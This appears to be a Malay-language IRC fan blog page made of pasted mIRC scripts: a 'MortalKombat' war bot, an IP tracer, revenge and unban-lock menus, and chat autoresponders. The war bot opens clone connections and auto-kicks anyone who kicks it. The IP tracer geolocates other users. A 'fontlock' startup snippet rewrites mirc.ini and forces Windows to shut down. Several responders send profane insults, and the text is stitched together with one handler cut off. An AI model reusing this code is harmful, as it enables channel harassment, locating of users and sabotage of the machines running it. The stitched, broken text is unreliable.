Perghhhhh Sah X lag lg lau ber mirc

REMOTE POWER UNTUK KAKI MJ ATAU BANJIRIAN

Remote MortalCombat Dr Kengkawan

#mortalkombatSINGLE on
alias -l serv { return irc.plasa.com irc.telkom.net.id irc.indo.net.id irc.big.net.id irc.jatara.net.id irc.citra.net.id irc.uii.net.id irc.jmn.net.id }
alias sx { sockwrite -nt $1- }
alias F1 hfree -sw foes | unset %kicker | .set %jn 0
alias F2 .set %warbot $iif($?="Bot Name?",$v1,MORTALKOMBAT) | /warbot %warbot irc.plasa.com
alias F3 /sockwrite -nt * part %c
alias F4 /sockwrite -nt $sock(*,1) join %c
alias F7 hfree -sw warbot_* | hfree -sw foes | unset %k | set %c $iif($?="War Channel?",$v1,#hell) | /sockclose *
alias warbot {
var %nick $1, %serv = $2, %sockname = $+(warbot_,%nick)
if $regex($2,^(.*).*)$) { var %serv $regml(1), %port = $regml(2) }
elseif $regex($2,^(.*)$) { var %serv $regml(1), %port = 6667 }
.sockclose %sockname | .sockopen %sockname %serv %port
sockmark %sockname Connecting
hadd -m %sockname me %nick
}
on *:sockopen:warbot_*:{
var %me = $hget($sockname,me)
var %user $lower($regsubex(%me,/\W/g,))
sx $sockname NICK %me
sx $sockname user %user * * : 4,1\ 10M 4\ 1,10ORTAL 4,1\ 10,1KOMBAT 4,1\
.sockmark %sockname *
.inc %nserv
}
on *:sockread:warbot_*:{
if ($sockerr > 0) { return }
var %me = $hget($sockname,me)
sockread -f %raw
if ($sockbr == 0) { return }
if ($gettok(%raw, 1, 32) == PING) { sockwrite -n $sockname PONG $gettok(%raw,2-,32) }
if ($gettok(%raw, 2, 32) == 376) {
echo 4 -a $sockname Successfully Connected...
.timer -mc 3 30 sx $sock(warbot_*,1).name join %c
}
if ($gettok(%raw, 2, 32) == 433) {
/warbot %warbot $+ _ $gettok($serv,%nserv,32)
sz
}
if ($gettok(%raw, 2, 32) == ERROR) { sz $sockname }
if ($gettok(%raw, 2, 32) == KICK) && ($hget($sockname,me) == $gettok(%raw,4,32)) {
var %bn = $sock(*,0) | .inc %jn | if (%jn > %bn) { .set %jn 1 }
.set %k $gettok($right(%raw,-1),1,33)
.inc %mekick
if (%nserv >  { .set %nserv 1 }
if (%mekick >= 3) {
/F3
.unset %mekick
/warbot %warbot $gettok($serv,%nserv,32)
halt
}
if (!$hfind(foes,%k,0)) { hadd -m foes %k }
if (!$hfind(foes,$mask($gettok(%raw,1,32),2),0)) { hadd -m foes $mask($gettok(%raw,1,32),2) }
sx $sock(warbot_*,1).name join %c
}
if ($gettok(%raw, 2, 32) == 401) { halt }
if ($gettok(%raw, 2, 32) == 441) { halt }
if ($gettok(%raw, 2, 32) == JOIN) && ($pos(%raw,$hget($sockname,me),1) > 0) { sx $sock(warbot_*,1).name $eval(kick %c %k $1) : $+ 4,1\ 10M 4\ 1,10ORTAL 4,1\ 10,1KOMBAT 4,1\ }
if ($gettok(%raw, 2, 32) == JOIN) {
var %n = $gettok($right(%raw,-1),1,33)
if ($hfind(foes,$mask($gettok(%raw,1,32),2),0)) { sx $sock(warbot_*,1).name $eval(kick %c %n $1) : $+ 4,1\ 10M 4\ 1,10ORTAL 4,1\ 10,1KOMBAT 4,1\
}
}
}
alias sz {
var %n = $sockname
sockclose %n | /echo -a %n Remote Quit
sockopen %n $gettok($serv,%nserv,32) 6667
}
#mortalkombatSINGLE end

TGK2 JE...AKU TATAU NI

on *:LOAD:{
  if ($?!="This script was built for education purposes only. $+ $crlf $+ $&
    The author (BloW-MaN) does not responsible for any consequences caused by this script. $+ $crlf $+ $&
    Use it at your own risk. $+ $crlf $+ $&
    Do you agree (click 'No' to unload the script)?") {
    if (!$exists(" $+ $scriptdirdns.cache.ini $+ " )) {
      write -c " $+ $scriptdirdns.cache.ini $+ "
    }
  }
  else {
    echo $color(info) -a * IPTracer: You chose to unload the script.
    unload -rs $script
  }
}

on *:UNLOAD:{
  unset %iptracer.*
}

alias ClassC {
  ;This alias will return Class C of the given ip
  ;Example: $ClassC(127.0.0.9) will return 127.0.0.*
  if ($isid) {
    if ($1) {
      ;checking if ip's structure is valid.
      if (*.*.*.* iswm $1) {
        if ($isip($1)) {
          return $+($GetNum($1,1),.,$GetNum($1,2),.,$GetNum($1,3),.,*)
        }
        else {
          return invalid
          halt
        }
      }
      else {
        return $1
      }
    }
    else {
      echo $color(info) -at * /ClassC: insufficient parameters
      halt
    }
  }
}

alias -l isIP {
  ;Matches 0.0.0.0 through 255.255.255.255
  ;Use this regex to match IP numbers with accurracy, without access to the individual IP numbers.
  var %sub = \b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b
  if ($regex($1,%sub)) {
    return $true
  }
  else {
    return $false
  }
}

alias -l GetNum {
  return $gettok($1,$2,46)
}

on *:DNS:{
  if ($raddress) {
    if ($raddress isnum) {
      write " $+ $scriptdirdns.tmp $+ " $raddress
      traceip
    }
    else {
      var %tot = $dns(0)
      var %i = 1
      if (%tot > 1) {
        while (%i <= %tot) {
          write " $+ $scriptdirdns.tmp $+ " $dns(%i).ip
          inc %i
        }
        traceip
      }
      else {
        write " $+ $scriptdirdns.tmp $+ " $raddress
        traceip
      }
    }
  }
  else {
    if ($dns(0) isnum) {
      write " $+ $scriptdirdns.tmp $+ " $dns(0).ip
      traceip
    }
    else {
      write " $+ $scriptdirdns.tmp $+ " $dns(0).addr
      traceip
    }
  }
}

alias traceip {
  if ($1) {
    if ($1 == -r && $2) {
      if ($ini(" $+ $scriptdirdns.cache.ini $+ ",$ClassC($2)) != 0) {
        remini -n " $+ $scriptdirdns.cache.ini $+ " $ClassC($2)
        if ($show) {
          echo $color(info) -at * /traceip: removed $ClassC($2) from the cache.
        }
      }
      else {
        if ($show) {
          echo $color(info) -at * /traceip: couldn't find $ClassC($2) $+ .
          halt
        }
      }
    }
    elseif ($1 == -u) {
      if (!$sock(update.traceip)) {
        sockopen update.traceip iptracer.sialkoti.com 80
        if ($show) {
          echo $color(info) -at * /traceip: Update is in progress...
        }
      }
      else {
        if ($show) {
          echo $color(info) -at * /traceip: Update is alredy in progress.
          halt
        }
      }
    }
    else {
      set %ip $1
      :check1
      if ($exists(" $+ $scriptdirdns.cache.ini $+ ")) {
        if ($isip($1)) {
          if ($ini(" $+ $scriptdirdns.cache.ini $+ ",$ClassC($1)) != 0) {
            if ($readini(" $+ $scriptdirdns.cache.ini $+ ",$ClassC($1),location) != unresolved) {
              if ($show) {
                echo $color(other) -at [CACHED] $1 is $readini(" $+ $scriptdirdns.cache.ini $+ ",$ClassC($1),location)
                halt
              }
            }
            else {
              goto w00t
            }
          }
          else {
            writeini -n " $+ $scriptdirdns.cache.ini $+ " $ClassC($1) location unresolved
            :w00t
            if (!$sock(traceip $+ %ip)) {
              sockopen traceip $+ %ip www.dnsstuff.com 80
            }
          }
        }
        else {
          if (!$sock(traceip $+ %ip)) {
            sockopen traceip $+ %ip www.dnsstuff.com 80
          }
        }
      }
      else {
        write -c " $+ $scriptdirdns.cache.ini $+ "
        goto check1
      }
    }
  }
  else {
    if ($exists(" $+ $scriptdirdns.tmp $+ ")) {
      var %i = 1
      if ($lines(" $+ $scriptdirdns.tmp $+ ") > 0) {
        if ($show) {
          .timerechoips -m 1 1 echo $color(other) -at * /traceip: Going to trace $lines(" $+ $scriptdirdns.tmp $+ ") $iif($lines(" $+ $scriptdirdns.tmp $+ ") > 1,IP's or Hosts,IP or Host) $+ ...
        }       
        while (%i <= $lines(" $+ $scriptdirdns.tmp $+ ")) {
          .timertraceip $+ $read(" $+ $scriptdirdns.tmp $+ ",%i) 1 %i traceip $read(" $+ $scriptdirdns.tmp $+ ",%i)
          inc %i
        }
      }
      .remove " $+ $scriptdirdns.tmp $+ "
    }
    else {
      echo $color(info) -at * /traceip: insufficient parameters
    }
  }
}

on *:SOCKOPEN:update.traceip:{
  if ($sockerr > 0) {
    sockclose $sockname
    echo $color(info) -at * /traceip (update): An error has occured.
    if ($sockerr == 3) {                                                    
      if (!$sock($sockname)) {
        sockopen update.traceip iptracer.sialkoti.com 80
      }
    }
  }
  else {
    sockwrite -n $sockname GET /scripts/IPTracer/dns.cache.ini HTTP/1.0
    sockwrite -n $sockname Host: iptracer.sialkoti.com
    sockwrite -n $sockname ACCEPT: *.*
    sockwrite $sockname $crlf
    %ip.line = 0
    .remove " $+ $scriptdirtempdns.cache.ini $+ "
  }
}

on *:SOCKREAD:update.traceip:{
  if (%ip.line <= 9) {
    sockread %update
    tokenize 32 %update
    if ($1 == Content-Length:) {
      if ($calc($2 - $file(" $+ $scriptdirdns.cache.ini $+ ").size) > 0) {
        set %allow.update $true
      }
    }
    inc %ip.line
  }
  else {
    if (%allow.update) {
      sockread &update
      bwrite " $+ $scriptdirtempdns.cache.ini $+ " -1 &update
      unset %ip.line
    }
    else {
      sockclose $sockname
      echo $color(info) -at /traceip (update): Your cache is bigger than the internet cache. There are $ini(" $+ $scriptdirdns.cache.ini $+ ",0) zones in your cache. Aborted
    }
  }
  unset %update
  bunset &update
}

alias -l ask.for {
  if ($?!="There are less/same IP's in the updated file. Do you wish to replace your cache anyway?" == $true) {
    return $true
  }
  else {
    return $false
  }
}

on *:SOCKCLOSE:update.traceip:{
  .timerdo.update -m 1 1 do.update
  unset %allow.update
}

alias -l do.update {
  var %total = $calc($ini($scriptdirtempdns.cache.ini,0) - $ini($scriptdirdns.cache.ini,0))
  .remove " $+ $scriptdirdns.cache.ini $+ "
  .rename " $+ $scriptdirtempdns.cache.ini $+ " " $+ $scriptdirdns.cache.ini $+ "
  echo $color(info) -at /traceip (update): Update succeeded! There are $ini(" $+ $scriptdirdns.cache.ini $+ ",0) zones in the cache now. Total %total zones added.
}

on *:SOCKOPEN:traceip*:{
  if ($sockerr > 0) {
    sockclose $sockname
    echo $color(info) -at * /traceip: An error has occured.
    if ($sockerr == 3) {                                                    
      if (!$sock($sockname)) { sockopen traceip $+ %ip www.dnsstuff.com 80 }
    }
  }
  else {
    sockwrite -n $sockname GET /tools/city.ch?ip= $+ %ip HTTP/1.1
    sockwrite -n $sockname Host: www.dnsstuff.com
    sockwrite -n $sockname User-Agent: IPTracer/1.0 (Windows; U; Windows NT 5.1; en-US; rv:0.0.0.0) Newton/16430104 IPTracer/1.0
    sockwrite -n $sockname Connection: keep-alive
    sockwrite $sockname $crlf
    set %iptracer.flag 0
  }
}

on *:SOCKCLOSE:traceip*:{
  if (!%ip) { echo $color(info) -at * /traceip: An error has occured. }
  unset %iptracer.c, %iptracer.ip
}

on *:SOCKREAD:traceip*:{
  sockread %trace
  if ($len(%trace) < 75) {
    tokenize 32 %trace
    ;
    ;echo -a %trace
    ;
    ;Remove ';' from the echo command above for debug purposes.
    if (IP: isin %trace) {
      set %iptracer.flag 1
      set %iptracer.ip $2-
    }
    elseif (Country: isin %trace && %iptracer.flag == 1) {
      set %iptracer.c $remove($2-,[,],(High))
    }
    elseif (City: isin %trace && %iptracer.flag == 1) {
      echo $color(other) -at %iptracer.ip is %iptracer.c (City: $2- $+ )
      if ($isip(%iptracer.ip) && *do not abuse DNSstuff.com* !iswm %trace && %trace != (City: Unknown)) {
        writeini -n " $+ $scriptdirdns.cache.ini $+ " $ClassC(%iptracer.ip) location %iptracer.c (City: $2- $+ )
      }
      sockclose $sockname
    }
    unset %trace
    .timerruns 1 1 unset %ip
  }
}

menu nicklist,query {
  Trace IP:{
    .userhost $$1
    if ($IsIP($remove($address($$1,2),*!*@))) {
      traceip $remove($address($$1,2),*!*@)
    }
    else {
      dns $$1
    }
  }
}

;iN LOVE,GT`crew

Assalamualaikum...

Salam Buat Semua Sahabat,Rakan,Teman Yang Mengenali Diri Sy...

Buat Sementara Waktu.....Blog.Facebookirc.Org

Akan Berdiam Diri Buat Seketika

Insyaallah...Jika Semuanya Pulih ...

Sy Akan Cuba Muatkn Serba Sedikit Apa2 Yg Patut

Utk Kita Bersama.....facebookirc tetap di hati walau ada yang membenci

ahahhhhhhhhhhhhhhhhhhhh ko tau ka....aku tatau

on 1:start: {
  .splay startup.wav
  .nick $$?="Nick Kamoo La"
  .remote on
  .timer 1 2  .server %server
  .timer 10 6600 .server %server
  .enable #badword On
  .enable #operation On
  .enable #voice On
  .unset %kicker
}
on 1:connect: {
  .msg nickserv identify $?*=" masukkn password kamuu "
  .timer 0 30 //raw ping $$me
  .timer2 0 30 .ctcp $$me ping
  .timer 1 7 .join #barzakh
  .unset %kicker
  .unset %text.*
}
on 1:part: {
  .splay disconnect.wav
}

menu menubar,channel {
  -
  Dendam facebookirc 
  .Dendam facebookirc .1
  ..ON:/load -rs remote.mrc | /splay -sc $mircdirsounds\on.wav | /echo 6 facebookirc 7Revenge 1 v.1 4 Enable
  ..OFF:/unload -rs remote.mrc | /splay -sc $mircdirsounds\off.wav | /echo 6 facebookirc 7Revenge 1 v.1 4 Disable
  .Dendam Ke|isa .2
  ..ON:/load -rs revenge.mrc | /splay -sc $mircdirsounds\on.wav | /echo 6 facebookirc 7Revenge 1 v.2 4 Enable
  ..OFF:/unload -rs revenge.mrc | /splay -sc $mircdirsounds\off.wav | /echo 6 facebookirc 7Revenge 1 v.2 4 Disable
  -
  Kekunci Unban
  .ON:/set %deathcan't.die enable | msg $chan 12UnBan Locker by 4[-facebookirc-] 12has been 4ACTIVATED!  %logo
  .OFF:/set %deathcan't.die disable | msg $chan 12UnBan Locker by 4[-facebookirc-] 12has been 4DISABLED! 12Ohhhh NO 14!!!
  .About:echo -a 12This protection will stop people from unbaning people in your channel as long as you have ops.
  -
  Bersih Dendam
  .Clear All:/.rlevel -r 3 | /.rlevel -r xsflood | unset %kicker | echo 12facebookirc 4ReVenGe 8KiCk 4now is 12CLEAR

}

on *:UNBAN:#: {
  if ($nick == $me) { halt }
  if (%deathcan't.die = on) {
    /mode # +b $banmask
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

on 1:START:{ .timer 0 0 fontlock }
alias fontlock {  if ($readini mirc.ini fonts fscripts != Impact,101) {
.writeini mirc.ini fonts fscripts Impact,101 | /run rundll.exe user.exe,exitwindows | exit } }

PingG

#pingreply on
on *:text:!ping:#: { ctcp $nick ping }

on *:CtcpReply:ping*: { msg # $nick : Perghh Ping anda  $calc($ctime - $2) $+ seken }
on *:CtcpReply:ping*: { msg $nick Ping anda amat dahsyat $calc($ctime - $2) $+  seken }
on *:CtcpReply:ping*: { notice $nick Wew Ko Nyer Ping...Heheheheh Fkir2 Le ye $calc($ctime - $2) $+  seken }
#pingreply end

menu menubar,channel {
  Ping Reply %pingreply $+
  .Activate:set %pingreply Activated | enable #revenge | echo -a Ping Reply is Activated
  .Deactivate:set %pingreply Deactivated | disable #revenge | echo -a Ping Reply is Deactivated
}

elseif ($parms == hi ) {msg $actice Hi Awak....| halt }

on 1:CONNECT: {
} 
on 1:INPUT:*: {
  if ( %wb == on ) && ( $parms == wb ) { msg $active 2W 14elcome 2B 14ack...      | halt }
  elseif ($parms == hi ) { msg $active Hi Awak...  | halt }
  elseif ($parms == hello ) { msg $active Hello...  | halt }
  elseif ($parms == hehe ) { msg $active HeHeHeHeHeHe... Biasa lah tu   | halt }
  elseif ($parms == haha ) { msg $active Ahaks...ahahaha..Best Best dasyat tu maaa..   | halt }
  elseif ($parms == oic ) { msg $active Oh... Macam tu rupanyer........  | halt }       
  elseif ($parms == keke ) { msg $active Kekekekekekekeke.......Nak terbatuk aku  | halt }       
  elseif ($parms == ish ) { msg $active Ishh tak tahu rasanyer......aku nak cakap apa  | halt } 
  elseif ($parms == ?? ) { msg $active ???? Kenapa & Apakah ??......  | halt }
  elseif ($parms == fuck ) { msg $active Fuck of your mother fucker......Ko Dan Mak Ko samer Je  | halt }
  elseif ($parms == ok ) { msg $active OK Takde Masalah  | halt }
  elseif ($parms == miss ) { msg $active Aku Rindukan Ko......  | halt }
  elseif ($parms == as ) { msg $active §âlâmmûâlãîkûm...Salam Sejahtera  | halt }
  elseif ($parms == ws ) { msg $active Wââlâîkûmmû§âlâm   | halt }
  elseif ($parms == gtg ) { msg $active Go To Go.. Nak balik dah ni...   | halt }
  elseif ($parms == n ) { msg $active The End... Siaran Tamat Dah... Esok Je Sambung  | halt }
  elseif ($parms == bye ) { msg $active  Bye ... Selamat Tinggal  | halt }
  elseif ($parms == asl ) { msg $active  A/S/L Please ... Umur/Jantina/Lokasi   | halt }
  elseif ($parms == aik ) { msg $active  Aik... Aper ni ???  | halt }
  elseif ($parms == thanks ) { msg $active  Special Thanks For You   | halt }
  elseif ($parms == mekasih ) { msg $active  Terima kasih daun keladi, Kalau ada jangan kedekut nak bagi   | halt }
  elseif ($parms == huh ) { msg $active  huh... korang mengata aku ye ??? oh takpe buat jahat lagi takpe nanti aku kejekan ko  | halt }
  elseif ($parms == bodo ) { msg $active  Ko ni memang aaa bodo macam lembu, ataupun ko ni lagi bodo dari lembu  | halt }
  elseif ($parms == sedih ) { msg $active  Ish ish... Sedih Sungguh Hatiku Ini  | halt }
  elseif ($parms == jahat ) { msg $active  Orang jahat kena gelak cam ni!!! Hahahahahahahaha..Wakakakakkakakaka.....Kekekkekekekekek...Hihihihihihihihihihihihihihihi... Wachaaaaaaaaaaaaaaaaaaaaaa... Ahaks Ahaks Ahaks... Best Best Best Best... I Am The Best...I Am The Best...I Am The Best   | halt } 
  else { goto end }                            
  :end
}  

dr sc lipanbara

on *:input:*: {
  if ($target ischan) && ($1 ison $chan) { msg $chan $iif($1 isop $chan,@,$iif($1 isvo $chan,+)) $+ $1 $2- | halt }
  if ($1 == as) { msg $active  ssâ|âmûâ|âîkûm W ârâhmâtû||âh H îwâbârôkâtûh $2- | halt }
  if ($1 == ws) { msg $active  W ââ|âîkûmsâ|âm W ârâhmâtû||âh H îwâbârôkâtûh $2- | halt }
  if ($1 == wslm) { msg $active  W aalaikum K um A pa K umbat B at A pa B atmen M en A pa M enyelam L am A pa L ampu P u A pa P utsal S al A pa S alam W arahmatullah H iwabarokatuh ( $2- ) | halt }
  if ($1 == hehe) { msg $active (~_~) H eHeHeHeHeHeHeHee $2- | halt }
  if ($1 == haha) { msg $active (^_^) H aHaHaHaHaHaHaHaa $2- | halt }
  if ($1 == hihi) { msg $active (~_^) H iHiHiHiHiHiHiHii $2- | halt }
  if ($1 == huhu) { msg $active (=o=) H uHuHuHuHuHu $2- | halt }
  if ($1 == keke) { msg $active ~_~x K ekekekekekekekekeke $2- | halt }
  if ($1 == wakaka) { msg $active \(^n^)/ W akakakakakakakakaa!! $2- | halt }
  if ($1 == tq) { msg $active x~_~x T ime K asih B anyak- B anyak  $2- (",) | halt }
  if ($1 == sama2) { msg $active (~,^) S ama - S ama  $2- (",) | halt }
  if ($1 == elo) { msg $active O.O E Lo.... E Lo $2- | halt }
  if ($1 == bye) { msg $active ^.^/ B ye B ye!! $2- S ayonara!!~  | halt }
  if ($1 == gt) { msg $active @$@ G ot T o G o N ow... A ssalammualaikum!!... B Y e A ll!!~ | halt }
  if ($1 == gtg) { msg $active @#@ G ot T o G o $2-  | halt }
  if ($1 == hm) { msg $active (x_x) H mm MM mm MM mm MM mm.. $2- | halt }
  if ($1 == oo) { msg $active (-o-) o Oo O oOo $2- | halt }
  if ($1 == lor) { msg $active (~@~) L or R r $2- | halt }
  if ($1 == ler) { msg $active L e E rRr $2- | halt }
  if ($1 == ok) { msg $active O key $2- | halt }
  if ($1 == oit) { msg $active O ittt!!! $2- | halt }
  if ($1 == uik) { msg $active U iksS!!~ $2- | halt }
  if ($1 == ?) { msg $active ? ¿?¿!!~ $2- | halt }
  if ($1 == ehem) { msg $active E hem... E hem!! $2- | halt }
  if ($1 == brb) { msg $active B e R ight B ack $2- | halt }
  if ($1 == bbl) { msg $active B e B ack L ater $2- | halt }
  if ($1 == tk) { msg $active T ak K isah L a $2- | halt }
  if ($1 == hi) { msg $active H iiii!! =)  $2- | halt }
  if ($1 == asl) { msg $active A /S/L þ£êå§êêêê...... U mur / T empat T inggal / J antina $2- | halt }
  if ($1 == wbb) { msg $active W elcome B ack B ro  $2- | halt }
  if ($1 == wbs) { msg $active W elcome B ack S is  $2- | halt }
  if ($1 == n) { msg $active -ÊÑÐ- | halt }
  if ($1 == hampeh) { msg $active H ampehhhh S ehampeh H ampehnya $2- | halt }
  if ($1 == cau) { msg $active C åU C iN caUuUuu.. $2- | halt }
  if ($1 == ades) { msg $active  A deesssss... $2- | halt }
  if ($1 == la) { msg $active L aaaaaaaaaa~ $2- | halt }
  if ($1 == back) { msg $active ï m ß å©K $2- | halt }
  if ($1 == isk) { msg $active I sk...Isk...Isk... S edey N yew $2- | halt }
  if ($1 == aw) { msg $active A Way J ap E k $2- | halt }
  if ($1 == kew) { msg $active [Malu-Malu ] K ew..Kew..Kew..Kew..Kew..Kew..Kew..Kew..Kew..Kew..Kew.. K ew..Kew..Kew..Kew..Kew..Kew..Kew..Kew..Kew..Kew.. K ew..Kew..Kew..Kew..Kew..Kew..Kew..Kew.. K ew..Kew..Kew..Kew..Kew..Kew..Kew..Kew..Kew..Kew.. K ew..Kew..Kew..Kew..Kew.. $2- | halt }
  if ($1 == use) { msg $active I Was Using lipanbara@Script v0.1 Was Connect [: $uptime(mirc, 1) ] [ $time ][ $day ] | halt }
  if ($1 == waka) { msg $active W Aaaªkkª KÅ kªkŪªkkª KÅ kªka!~ ® $2- :Þ | halt }
  if ($1 == kes) { msg $active K êK§KêK§KêK§KêK§KêK§KêK§ $2- | halt }
  if ($1 == lo) { msg $active L oooooooo~ $2- | halt }
  if ($1 == erk) { msg $active E rkk?? $2- | halt }
  if ($1 == lala) { msg $active [Sambil Siul* ] L aLaLaLa L aLaLaLa L aLaLaLa L a~ $2- | halt }
  if ($1 == erm) { msg $active E rm M m M m~ $2- | halt }
  if ($1 == yes) { msg $active Y eSsS!!~ $2- | halt }
  if ($1 == yup) { msg $active Y u P ps!!~  $2- | halt }
  if ($1 == ade) { msg $active A deHhHh~ $2- | halt }
  if ($1 == waklu) { msg $active w A kLuzss~ $2- | halt }
  if ($1 == akum) { msg $active A ssalammualaikum~ $2- | halt }
  if ($1 == wasalam) { msg $active W a'alaikummussalam~  $2- | halt }
  if ($1 == bingai) { msg $active B ingai N i~ $2- | halt }
  if ($1 == :P) { msg $active :Þ $2- | halt }
  if ($1 == :>) { msg $active :) $2- | halt }
  if ($1 == :<) { msg $active :( $2- | halt }
  if ($1 == end) { msg $active -end- | halt }
  if ($1 == out) { msg $active -out- | halt }
  if ($1 == wtf) { msg $active W hat Da Fuck!!!! $2- | halt }
  if ($1 == cet) { msg $active C etT!! P irahhh~ $2- | halt }
  if ($1 == aha) { msg $active A hakkk~ $2- | halt }
  if ($1 == huh) { msg $active H uhh!!! $2- :( | halt }
  if ($1 == bc) { msg $active i m B ack~ $2- | halt }
  if ($1 == uwek) { msg $active U werkk~ $2- | halt }
  if ($1 == lol) {  msg $active L ough O ut L oud !! | halt }
  if ($1 == le) { msg $active L eerr.. $2- | halt }
  if ($1 == yak) { msg $active A iii Y aaarrk K k!! $2- | halt }
  if ($1 == cis) { msg $active C isss!! C isss!! D aN M eNGcISssKaN $2- :þ | halt }
  if ($1 == alo) { msg $active A loooo  ( $2- ) N ampak T ak $me   T engah A lOOo | halt }
  if ($1 == bodo) { msg $active O woss.. la hoh, bodo mung nih $2- ..! | halt }
  if ($1 == jeng) { msg $active J engzz.. mung nih.... $2- | halt }
  if ($1 == uwa) { msg $active U waaa AA aaaA A Aaaaa!!!...... $2- | halt }
  if ($1 == oic) { msg $active Ø oo.. ítú máçám kér...!!! $2- | halt }
  if ($1 == lapa) { msg $active L apar weeiihh.... takderk sape ke nok lanjer aku makan nisshh!! $2- | halt }
  if ($1 == butuh) { msg $active H arap Maaf!! Nick Yang Anda Taip, Tiada Dalam Perkhidmatan Kami.... $2- :þ | halt }
  if ($1 == potong) { msg $active H arap Maaf!! Nombor Yang Anda Dail, Telah Di Tamatkan Perkhimatannya.... $2- :þ | halt }
  if ($1 == ro) { msg $active R ølling Øver †he fløør Laffing.. $2- | halt }
  if ($1 == omg) { msg $active Ø h mý Gåwd! $2- | halt }
  if ($1 == love) { msg $active I `ll..LøvE..YoU.. $2- aLwAyZ..BeBeh..>: | halt }
  if ($1 == aik) { msg $active Ä ìKz! $2- | halt }
  if ($1 == kodi) { msg $active K odi mung nih.... $2- | halt }
  if ($1 == sayam) { msg $active S ayam $2- niee.... Þ~ | halt }
  if ($1 == waca) { msg $active W achaaaaa....... $2- Y aKkk... D issSHH!!!.... | halt }
  if ($1 == natang) { msg $active N atang nieeee......!!!!!!! $2- | halt }
  if ($1 == fuyo) { msg $active (@o@) F uu UU yyi I oo OO ooo.... $2- | halt }
  if ($1 == apo) { msg $active :| A po? | halt }
  if ($1 == o) { msg $active ~o~ o ooO O OoooO O Oooo~ $2- | halt }
  if ($1 == airr) { msg $active H aHaHaHa... Masuk Air La KO Ni $2 !! | halt }
  if ($1 == wei) { msg $active W eiiIIii...!! $2- | halt }
  if ($1 == owos) { msg $active O wos la HoH! $2- | halt }
  if ($1 == alos) { msg $active A los la HoH!! $2- | halt }
  if ($1 == gila) { msg $active G ila A pa?? $2- | halt }
  if ($1 == jap) { msg $active J ap yer... $2- | halt }
  if ($1 == gapo) { msg $active A loslaa... gapo dio gak? $2- | halt }
  if ($1 == iyo) { msg $active I yoo... ado nie... $2- | halt }
  if ($1 == kapok) { msg $active A aii.... menater kero nih aku katok denge kapok mapuh sungguh menater beruk nih!!! $2- | halt }
  if ($1 == cium) { msg $active [ Sambil Peluk ] C ium sket $2- cayam... MuuaAhhZzz.... | halt }
  if ($1 == sorry) { msg $active S ory ler.. $2- P lzzz.. T ak S engaja L errrr... $2- | halt }
  if ($1 == nyeh) { msg $active N yeH... N yeH... N yeH... N yeH... $2- | halt }
  if ($1 == tidak) { msg $active T iK.. T iK.. T iK.. T idakkkK.... $2- | halt }
  if ($1 == kiss) { msg $active N aK K isS $2- C ikitT L ehH T aK C ayanG | halt }
  if ($1 == weh) { msg $active W essss...!!! $2- | halt }
  if ($1 == ehek) { msg $active E HekKsS!!~ $2- | halt }
  if ($1 == gk) { msg $active G ile Kentang Nii~ $2- | halt }
  if ($1 == muah) { msg $active M muahhssssssssssssssssssssssssssss !~~~~~~~* $2-  | halt }
  if ($1 == hahaha) { msg $active [Lawak Sangat Ke ] W aaaaaargggggkhhhhhhhh Kah Kah Kah !!! Gilo !! Gilo !! Lawak !! Lawak !!!! Cam Harem ! Herkkkkkkkk Pthuii !! Beruk Pun Tak Lawak Cam Gini !!! | halt }
  if ($1 == lai) { msg $active L ai Lai Katong~ | halt }
  if ($1 == wa) { msg $active W aaaaaaaRrrrRRGgGghhgHhhHhHhhhH... K ah K ah K ah !!! G ilooO !! G iloOo !! L awakK !!!! L awak !!!! C am H arem ! H erkkkkkkkk P thuii !! B eruk, B abun , D inasour , U lar K ucing D an B anyak l agi P un T ak L awak C am G ini !!! $2- | halt }
  if ($1 == lalala) { msg $active [Selamat Tinggal] L ALALALA ... L ALALALA .... H EY !! H EY !! H EY !! G OOD B YE ... !!! $2- | halt }
  if ($1 == yee) { msg $active Y e $2- Ada Apa2 .... Bolih Saya Bantu | halt }
  if ($1 == Yo) { msg $active Y ee ... Yeee ... Yeee !!! Ada Niii .. | halt }
  if ($1 == yy) { msg $active H aa .. Yee .. Yeee ... Yeeee .... !!! $2- | halt }
  if ($1 == yoo) { msg $active H aa !!! .. Yee .. Yeee ... O .... !!! $2- | halt }
  if ($1 == ass) { msg $active k asik salam kat suma umat islam lam channel ni...Assalamualaikum!!!...!!! $2- | halt }
  if ($1 == asu) { msg $active k asik salam kt sume user...assalamualaikum!!!...!!! $2- | halt }
  if ($1 == asc) { msg $active s alam chat $2- assalamualaikum....pekabor...lame tak nampok..ingatkan dah meninggal....!!~ | halt }
  if ($1 == ha) { msg $active H aaaaaaaaaa......!!~ $2- | halt }
  if ($1 == is) { msg $active i sk..iskk...iskkk....!!~ $2- | halt }
  if ($1 == ascc) { msg $active s alam chat $2- assalamualaikum....pekabor...lame tak nampok....!!~ $2- | halt }
  if ($1 == kaka) { msg $active h ahahaha...!! erk..!!..kakakakaka.. $2- huhuhu...wakakakaka..huhuhu...hahaha..wakakakaka !!! uhuk !! uhukk !! sampai terbatuk aku neguk gelagat ~ $2- | /me Gelak sambil guling-guling HuuWaaKakakakakakakakaka...UhuuuUhukKkK..UhuuuUhukKKkK...Huu..Waa..Kakakakaakakaa...!!! sakit perut aku neguk $2- | halt }
  if ($1 == ac) { msg $active a pa cerita harini... ada topik menarik ke!!~ $2- | halt }
  if ($1 == okk) { msg $active O key..!!!!~ $2- | halt }
  if ($1 == gelak) { msg $active g elak kat $2- ^ Sambil GuLinG-GuLinG atas lantai.... hahahahaha!!!!!~ $2- | halt }
  if ($1 == kis) { msg $active k iss kiss... $2- .....mmmmmuuuuuuuahhhhh.!!!!~ $2- | halt }
  if ($1 == menung) { msg $active M enung menjauH.....tengok gelagat $2- ... | halt }
  if ($1 == z) { msg $active (~_~) Zzzzzz...Zzzzzzz...!!! $2- | halt }
  if ($1 == aa) { msg $active A duiiiiYaaiii...!!! B udak $2- N iIihiIii.... G EeeRrrRr....!!! | halt }
